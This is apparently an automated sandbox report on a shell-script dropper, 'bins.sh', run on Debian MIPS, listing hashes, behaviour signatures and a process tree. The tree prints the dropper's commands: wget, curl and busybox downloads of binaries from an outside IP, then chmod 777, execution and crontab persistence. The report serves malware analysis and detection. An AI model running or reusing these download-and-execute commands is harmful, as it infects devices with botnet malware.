Analysis
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max time kernel
151s -
max time network
156s -
platform
debian-9_mips -
resource
debian9-mipsbe-20240611-en -
resource tags
arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem -
submitted
05-11-2024 02:43
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240729-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240611-en
General
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Target
bins.sh
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Size
10KB
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MD5
701c9675dc7807d17a43199356d85a0b
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SHA1
3fef590ee0fbc9d16043732e239342d6d0dbaff6
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SHA256
b72cf0c01db021d59068dd1bdd23a4610251b9fb3b7081130fb12d9723296078
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SHA512
32b9af3d088dc5e91d175f39ff8135976ab85f304aa319422f45de4dd836940b6687a19049e8c0b3ed847525c4c9f3d792dcb0df02e2c26f5dd91d3821532768
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SSDEEP
192:HCVZUrDyiNRg1FX8s1i2a0W90w0ArTQgLau9EUFilVZUrDnNRg1FH8s1i2I0W90M:HciNRg1FX8s1i2rW+NArTQgLau9EUFiK
Malware Config
Signatures
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Contacts a large (1635) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 3 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
chmodchmodchmodpid Process 734 chmod 742 chmod 752 chmod -
Executes dropped EXE 3 IoCs
Processes:
wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJAR1xY4pNMtit9bYe4kIQZVOlsqE7LrOZMGBLsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHiioc pid Process /tmp/wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA 735 wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA /tmp/R1xY4pNMtit9bYe4kIQZVOlsqE7LrOZMGB 743 R1xY4pNMtit9bYe4kIQZVOlsqE7LrOZMGB /tmp/Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi 753 Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi -
Renames itself 1 IoCs
Processes:
Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHipid Process 754 Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi -
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
Processes:
crontabdescription ioc Process File opened for modification /var/spool/cron/crontabs/tmp.lfTe6o crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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Processes:
Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHicurldescription ioc Process File opened for reading /proc/7/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/765/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/930/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/994/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/1159/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/799/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/990/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/9/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/935/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/1044/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/1063/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/696/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/777/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/1147/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/1170/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/389/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/780/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/786/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/1029/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/761/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/1051/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/1116/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/5/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/164/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/859/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/897/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/970/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/992/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/1035/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/938/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/1005/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/1117/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/1125/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/789/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/847/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/910/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/914/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/964/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/1141/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/813/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/1006/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/1087/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/771/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/779/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/814/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/823/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/983/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/1045/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/1062/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/316/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/703/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/901/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/933/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/955/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/969/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/985/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/18/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/825/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/843/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/878/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/954/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/1054/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/1060/cmdline Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi File opened for reading /proc/sys/crypto/fips_enabled curl -
Writes file to tmp directory 9 IoCs
Malware often drops required files in the /tmp directory.
Processes:
busyboxcurlbusyboxwgetcurlbusyboxwgetwgetcurldescription ioc Process File opened for modification /tmp/Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi busybox File opened for modification /tmp/wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA curl File opened for modification /tmp/wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA busybox File opened for modification /tmp/R1xY4pNMtit9bYe4kIQZVOlsqE7LrOZMGB wget File opened for modification /tmp/R1xY4pNMtit9bYe4kIQZVOlsqE7LrOZMGB curl File opened for modification /tmp/R1xY4pNMtit9bYe4kIQZVOlsqE7LrOZMGB busybox File opened for modification /tmp/Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi wget File opened for modification /tmp/wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA wget File opened for modification /tmp/Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi curl
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵PID:703
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/bin/rm/bin/rm bins.sh2⤵PID:709
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/usr/bin/wgetwget http://87.120.84.230/bins/wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA2⤵
- Writes file to tmp directory
PID:710
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/usr/bin/curlcurl -O http://87.120.84.230/bins/wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:721
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA2⤵
- Writes file to tmp directory
PID:733
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/bin/chmodchmod 777 wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA2⤵
- File and Directory Permissions Modification
PID:734
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/tmp/wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA./wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA2⤵
- Executes dropped EXE
PID:735
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/bin/rmrm wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA2⤵PID:738
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/usr/bin/wgetwget http://87.120.84.230/bins/R1xY4pNMtit9bYe4kIQZVOlsqE7LrOZMGB2⤵
- Writes file to tmp directory
PID:739
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/usr/bin/curlcurl -O http://87.120.84.230/bins/R1xY4pNMtit9bYe4kIQZVOlsqE7LrOZMGB2⤵
- Writes file to tmp directory
PID:740
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/R1xY4pNMtit9bYe4kIQZVOlsqE7LrOZMGB2⤵
- Writes file to tmp directory
PID:741
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/bin/chmodchmod 777 R1xY4pNMtit9bYe4kIQZVOlsqE7LrOZMGB2⤵
- File and Directory Permissions Modification
PID:742
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/tmp/R1xY4pNMtit9bYe4kIQZVOlsqE7LrOZMGB./R1xY4pNMtit9bYe4kIQZVOlsqE7LrOZMGB2⤵
- Executes dropped EXE
PID:743
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/bin/rmrm R1xY4pNMtit9bYe4kIQZVOlsqE7LrOZMGB2⤵PID:745
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/usr/bin/wgetwget http://87.120.84.230/bins/Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi2⤵
- Writes file to tmp directory
PID:746
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/usr/bin/curlcurl -O http://87.120.84.230/bins/Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi2⤵
- Writes file to tmp directory
PID:747
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi2⤵
- Writes file to tmp directory
PID:751
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/bin/chmodchmod 777 Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi2⤵
- File and Directory Permissions Modification
PID:752
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/tmp/Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi./Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:753 -
/bin/shsh -c "crontab -l"3⤵PID:755
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/usr/bin/crontabcrontab -l4⤵PID:756
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/bin/shsh -c "crontab -"3⤵PID:757
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:762
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/bin/rmrm Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi2⤵PID:759
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/usr/bin/wgetwget http://87.120.84.230/bins/627uNCgl5PZFB0dmWdtRjBSbPex18hIKZg2⤵PID:852
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
151KB
MD53c90d5820bddcf7c5d1bd21dfa49d958
SHA15ba05bd489e50af97d6dc45e3a0be60e494d5083
SHA256bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
SHA51254a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a
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Filesize
127KB
MD589077b7bd4bcafca7713be43635c4862
SHA1fc02edb8fba29ea8ee99e6157ef8560334530052
SHA25678416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
SHA5121b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1
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Filesize
141KB
MD53ca8decdb1e52c423c521bfff02ac200
SHA18621ecd6807109b8541912ad9e134f6fb49bfd48
SHA256dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
SHA512b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a
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Filesize
210B
MD554bd9694666877787d4e5c20870a26d0
SHA1a9fea43a8f4396b1309ca7224bee7b4d5d209ebf
SHA256fc10d93e1d1bc484fc37f9bc4992fadd5299a6198ab41031b8011db6bc6cf4e0
SHA51240849a01bf5627da2b3948774e240ee6d6ff96d6979f26718f2c5d32da63f6ff0edea86d859ff8b423dd53507d844c520b78445187ea6a44f42d44355f578293